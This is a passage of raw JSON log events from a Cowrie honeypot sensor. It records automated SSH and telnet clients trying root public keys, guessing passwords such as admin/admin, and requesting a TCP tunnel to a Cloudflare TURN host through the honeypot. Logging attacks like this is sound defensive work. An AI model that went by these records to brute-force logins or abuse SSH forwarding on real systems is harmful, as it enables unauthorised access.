82:47:da:94:96:91:55:7a:ca:ed:46:e5:c4:a3:a5:e4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:16:48.599736Z","src_ip":"147.135.97.163","session":"2687495c148a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:47:da:94:96:91:55:7a:ca:ed:46:e5:c4:a3:a5:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5sc6lx6jq/Ac54qwwbi5lFoPuwvyXX57gBPBlNl15/J/9I+z9cqRHHvUnngz2Qdb4ibMF8vaD8XGuql0MF+6ioWmtqv2VzAZFuqSBE42P9LeTKbotbkxVfnxsYgINho1uAyoXPJuvGdeNKan2nGbNZM1PabY088VRagM1rQ4PZhesI1j/cx5e+pU07a3fq1CnYPmk6OBuGZyToY1ku0nEnwArrvdgD4/1dEQeZM0eEk7q5sUNp9CQkK29s7Fh+HLlhEJZJcB6JH3jC1VUXeI9U4AxFFgoallH2nDMclD0OUrXQ0ZNvC8ijBXxRFtsgHskNiUb4rZmCHxKjO9YX2ig+9AOc1EX1Y/xadaSR3cKlauhD/+ze1hI972SrcHl07FsvU4H8AIgsqyFuU3RgcpHayWdRGDOQ4KMK7ZXHWEtIxRfx28Bk8WHr+NLERLCsyo/LR7Djj0rN/AvDFJ7e80xKYS2fFU1EmlV6OY3yf+/BxTvShg3A13zhoJNwtnAsOsXwvaX0yOoBuOIIpPW0yeOzdJX9m7KzwxBW9bGxosjL+jPm+KkDSM25Yrz1+OXAzn76qk0pnozB8IpyqGsJXc2kNYnGvr5NhiTtH/XjEZ2Foo8q3ZVQRcf7SUAX9cKLpHX/ocHkN/dvLwJ+ucIjziQvzHrWPGZwJrZPSKGTwXisQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:16:48.605643Z","src_ip":"147.135.97.163","session":"2687495c148a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:75:61:9f:01:9d:95:0e:f5:cd:68:39:49:af:25:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCsyDultnxPoOJaWuVuUDwKb0hBn7H21hGssf/Xvko3sEiG8qf6ANaYYSVkylwpgYJt92NscYYyga9Ds3EQqW+iWLtBSw4berBxYCEx1au1aOJVNcUkvUojN/1daoDWBaq9S2iBYlyqR8MaPsPr/oyNF1h8gKJzgP2f9oB+ZTvWQm47VZbgJtCD0gxzo5FXFY/4Onm1zUWZH8aZCkC11TUf3NnvJkAtGAHVTQpmT9ZvE1/SsGIY0LIlIJBu0mHErBitYctaoJyyC80QzrB+/n5jRmZ4yDWYBXOzEkK6+jNwy1b9OBdc1LULVkqiMhEd8pxNhZu/pPf84MYr+MZZh/aW5QdCnbRKwl/yYrbYRYtIhKt/0HmwBjoubaC+UnIjAwrU/YzIXkw4oi7fCBZ7de7Z8C2FTmpbQx2DZYd+Qz9/QD01rxK67q82BUFq3Di8Y+D3M8W0OcY8d3wS0F8UddJ3X0tbV/CcdPsTM60smCzcnszxNO+Myb1RZmloSCxa9KNYr7MHmFZo6xYpRD2dnrcDbP94W2hrogTtoz0Zy2jhU3RNQABG8TEEAdMbc8os+ezPAB4BAvXvL2s1Iv7Fk9ajcL3uYYHAv4NJFs7qPUemlgKG0JDVD9tdjPG2aA2L5V7qT/QdoqgQJARyl0f+fB7fOwuLHqBIGzOUp6l79VBK2w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:75:61:9f:01:9d:95:0e:f5:cd:68:39:49:af:25:bd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:16:48.680624Z","src_ip":"147.135.97.163","session":"2687495c148a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:75:61:9f:01:9d:95:0e:f5:cd:68:39:49:af:25:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCsyDultnxPoOJaWuVuUDwKb0hBn7H21hGssf/Xvko3sEiG8qf6ANaYYSVkylwpgYJt92NscYYyga9Ds3EQqW+iWLtBSw4berBxYCEx1au1aOJVNcUkvUojN/1daoDWBaq9S2iBYlyqR8MaPsPr/oyNF1h8gKJzgP2f9oB+ZTvWQm47VZbgJtCD0gxzo5FXFY/4Onm1zUWZH8aZCkC11TUf3NnvJkAtGAHVTQpmT9ZvE1/SsGIY0LIlIJBu0mHErBitYctaoJyyC80QzrB+/n5jRmZ4yDWYBXOzEkK6+jNwy1b9OBdc1LULVkqiMhEd8pxNhZu/pPf84MYr+MZZh/aW5QdCnbRKwl/yYrbYRYtIhKt/0HmwBjoubaC+UnIjAwrU/YzIXkw4oi7fCBZ7de7Z8C2FTmpbQx2DZYd+Qz9/QD01rxK67q82BUFq3Di8Y+D3M8W0OcY8d3wS0F8UddJ3X0tbV/CcdPsTM60smCzcnszxNO+Myb1RZmloSCxa9KNYr7MHmFZo6xYpRD2dnrcDbP94W2hrogTtoz0Zy2jhU3RNQABG8TEEAdMbc8os+ezPAB4BAvXvL2s1Iv7Fk9ajcL3uYYHAv4NJFs7qPUemlgKG0JDVD9tdjPG2aA2L5V7qT/QdoqgQJARyl0f+fB7fOwuLHqBIGzOUp6l79VBK2w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:16:48.683972Z","src_ip":"147.135.97.163","session":"2687495c148a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:9a:d7:7b:fe:96:38:1e:46:4d:1b:35:83:3b:12:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDorHJMlA3AwrFfpTgStxBy+gIQZt3LUZVRGAVTf929pryoE2eGTFwGccb0+9AFQ0w2TMkSA4JlnEPZngA4WruDfBqKAzBULZaBWJlLwWd3J9H0T66EkhqXezo/FtoShl/wsn9zK+Jxna2zEy2a/2HFkG2Wno4uGmEnZQxnvPvW40IySNIBOV2fI2FfO03wQRdbddWt0isDnhbfT8unFxVYyAg2Yw0okZ0stfqL9lb5h9K5c6TF/hhcDZCrXqTD+Q04ZToqHSSri/Xjr8xS80EQ0r0Tk5VMNBs5483nXVOyOoDIrlEX5aFz6nUPcWNyV9fZdeoIBcB1hnvEzFQvr1C/7Ws1Lue9fd5eI5fiXZpfolQm9cHcEvU4qJKHkh4Ny/FkA+1achCHLRNZBqabm1/21ECoE7a8068QGn7wXQfOByxmNVrazwVD0R/IuV21o4CdmMGVPvjyCKe30fl2S+i9Em/ukMu9ak4ywehojnWGWc/qozYCjPC56F43WNMEc3lGi4SZY9I6HZujG7JNT1knidBkSg35AnbHUOYf+JeQvrU4AtgOo9/UxTDPQjhdCv16nyoP5VG7e4V/hrMlz46N3WGUFEJCde8s5pt7OEhFokfk4R8R3/SVQKnXLzaS4V8NUx/tozVPQfoEieVBI0RGk1uoeCT7S3MDV6qbOJb4TQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:9a:d7:7b:fe:96:38:1e:46:4d:1b:35:83:3b:12:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:16:48.759194Z","src_ip":"147.135.97.163","session":"2687495c148a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:9a:d7:7b:fe:96:38:1e:46:4d:1b:35:83:3b:12:d5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDorHJMlA3AwrFfpTgStxBy+gIQZt3LUZVRGAVTf929pryoE2eGTFwGccb0+9AFQ0w2TMkSA4JlnEPZngA4WruDfBqKAzBULZaBWJlLwWd3J9H0T66EkhqXezo/FtoShl/wsn9zK+Jxna2zEy2a/2HFkG2Wno4uGmEnZQxnvPvW40IySNIBOV2fI2FfO03wQRdbddWt0isDnhbfT8unFxVYyAg2Yw0okZ0stfqL9lb5h9K5c6TF/hhcDZCrXqTD+Q04ZToqHSSri/Xjr8xS80EQ0r0Tk5VMNBs5483nXVOyOoDIrlEX5aFz6nUPcWNyV9fZdeoIBcB1hnvEzFQvr1C/7Ws1Lue9fd5eI5fiXZpfolQm9cHcEvU4qJKHkh4Ny/FkA+1achCHLRNZBqabm1/21ECoE7a8068QGn7wXQfOByxmNVrazwVD0R/IuV21o4CdmMGVPvjyCKe30fl2S+i9Em/ukMu9ak4ywehojnWGWc/qozYCjPC56F43WNMEc3lGi4SZY9I6HZujG7JNT1knidBkSg35AnbHUOYf+JeQvrU4AtgOo9/UxTDPQjhdCv16nyoP5VG7e4V/hrMlz46N3WGUFEJCde8s5pt7OEhFokfk4R8R3/SVQKnXLzaS4V8NUx/tozVPQfoEieVBI0RGk1uoeCT7S3MDV6qbOJb4TQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:16:48.763319Z","src_ip":"147.135.97.163","session":"2687495c148a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c6:80:eb:5a:d4:f7:50:85:84:46:ba:53:b5:08:45:d5","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPjxj7EvCHtQ0y2rudrfYcA1sYnXOws5bgsB3/rQ0ZhhdDlk64Sieg2+tGco47HIMYYGFAuxN9PBajwgZiftj0pb1zsdLFpsYyz5rnT6AsKnjweXusXeuTIv37fEleIenxzUQiBRxBrM/YPMGu6oRPGCif9Jxxd5xufViKFGKuxxAAAAFQCtctQ+xGIR6zb1KjUWEQ+Ew4G9dQAAAIBWradsUb6EBA8TwS8ghw5n8ZQXTy+nPtrRPt5lsWXckEPqOSJudgYVbNeaw3Qu0cO+xDaEzaIOjMI8ICIIjg8OsvtXreksn24K9/SekwB+yYpaYsiB2noXY9i6T2iFN7sWOrjtLk9b3Wsa5JSNhrZQ6uvpEbOi+sp6WcfwkR/QIgAAAIEAyTzygg+f45+dn6HojfilKa9hP4Fy/nLxTgwUV4l/s+AtZ9F61/CWpABdxYSJV/XnrdwF40tz/3jbXg8WwtXSY82ejn4Z4LbXVdBVVvduRi0Us9ThqFdhnY/24wIqMosbzbydsD7jk89Ec+OuT789EsL+0+NHELQNHjf3uYED7NE=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint c6:80:eb:5a:d4:f7:50:85:84:46:ba:53:b5:08:45:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:16:48.839193Z","src_ip":"147.135.97.163","session":"2687495c148a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c6:80:eb:5a:d4:f7:50:85:84:46:ba:53:b5:08:45:d5","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPjxj7EvCHtQ0y2rudrfYcA1sYnXOws5bgsB3/rQ0ZhhdDlk64Sieg2+tGco47HIMYYGFAuxN9PBajwgZiftj0pb1zsdLFpsYyz5rnT6AsKnjweXusXeuTIv37fEleIenxzUQiBRxBrM/YPMGu6oRPGCif9Jxxd5xufViKFGKuxxAAAAFQCtctQ+xGIR6zb1KjUWEQ+Ew4G9dQAAAIBWradsUb6EBA8TwS8ghw5n8ZQXTy+nPtrRPt5lsWXckEPqOSJudgYVbNeaw3Qu0cO+xDaEzaIOjMI8ICIIjg8OsvtXreksn24K9/SekwB+yYpaYsiB2noXY9i6T2iFN7sWOrjtLk9b3Wsa5JSNhrZQ6uvpEbOi+sp6WcfwkR/QIgAAAIEAyTzygg+f45+dn6HojfilKa9hP4Fy/nLxTgwUV4l/s+AtZ9F61/CWpABdxYSJV/XnrdwF40tz/3jbXg8WwtXSY82ejn4Z4LbXVdBVVvduRi0Us9ThqFdhnY/24wIqMosbzbydsD7jk89Ec+OuT789EsL+0+NHELQNHjf3uYED7NE=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:16:48.842910Z","src_ip":"147.135.97.163","session":"2687495c148a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:16:48.918948Z","src_ip":"147.135.97.163","session":"2687495c148a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":35488,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3bed5495c61","protocol":"ssh","message":"New connection: 2.57.122.238:35488 (10.17.0.5:22) [session: f3bed5495c61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:16:53.602937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:16:53.608948Z","src_ip":"2.57.122.238","session":"f3bed5495c61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:16:53.713623Z","src_ip":"2.57.122.238","session":"f3bed5495c61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:16:54.016939Z","src_ip":"2.57.122.238","session":"f3bed5495c61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:16:55.121737Z","src_ip":"2.57.122.238","session":"f3bed5495c61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":33258,"dst_ip":"159.203.135.109","dst_port":22,"session":"19fd5e6f9a90","protocol":"ssh","message":"New connection: 45.148.10.121:33258 (159.203.135.109:22) [session: 19fd5e6f9a90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:16:59.918846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:16:59.923423Z","src_ip":"45.148.10.121","session":"19fd5e6f9a90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:17:00.009793Z","src_ip":"45.148.10.121","session":"19fd5e6f9a90","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:17:00.272567Z","src_ip":"45.148.10.121","session":"19fd5e6f9a90","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:17:00.362608Z","session":"19fd5e6f9a90","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:17:00.451185Z","src_ip":"45.148.10.121","session":"19fd5e6f9a90","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:17:00.454678Z","src_ip":"45.148.10.121","session":"19fd5e6f9a90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:17:00.548599Z","src_ip":"45.148.10.121","session":"19fd5e6f9a90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":33272,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9d6a380f5e1","protocol":"ssh","message":"New connection: 45.148.10.121:33272 (159.203.135.109:22) [session: c9d6a380f5e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:17:00.626010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:17:00.675599Z","src_ip":"45.148.10.121","session":"c9d6a380f5e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:17:00.713196Z","src_ip":"45.148.10.121","session":"c9d6a380f5e1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:17:01.040972Z","src_ip":"45.148.10.121","session":"c9d6a380f5e1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:17:01.128443Z","session":"c9d6a380f5e1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:17:01.215455Z","src_ip":"45.148.10.121","session":"c9d6a380f5e1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:17:01.219105Z","src_ip":"45.148.10.121","session":"c9d6a380f5e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:17:01.307595Z","src_ip":"45.148.10.121","session":"c9d6a380f5e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55956,"dst_ip":"10.17.0.5","dst_port":23,"session":"2998066504e5","protocol":"telnet","message":"New connection: 152.42.224.71:55956 (10.17.0.5:23) [session: 2998066504e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:17:35.080313Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":39388,"dst_ip":"10.17.0.5","dst_port":22,"session":"27b1f3135b48","protocol":"ssh","message":"New connection: 80.66.85.226:39388 (10.17.0.5:22) [session: 27b1f3135b48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:17:51.969876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:17:51.978670Z","src_ip":"80.66.85.226","session":"27b1f3135b48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","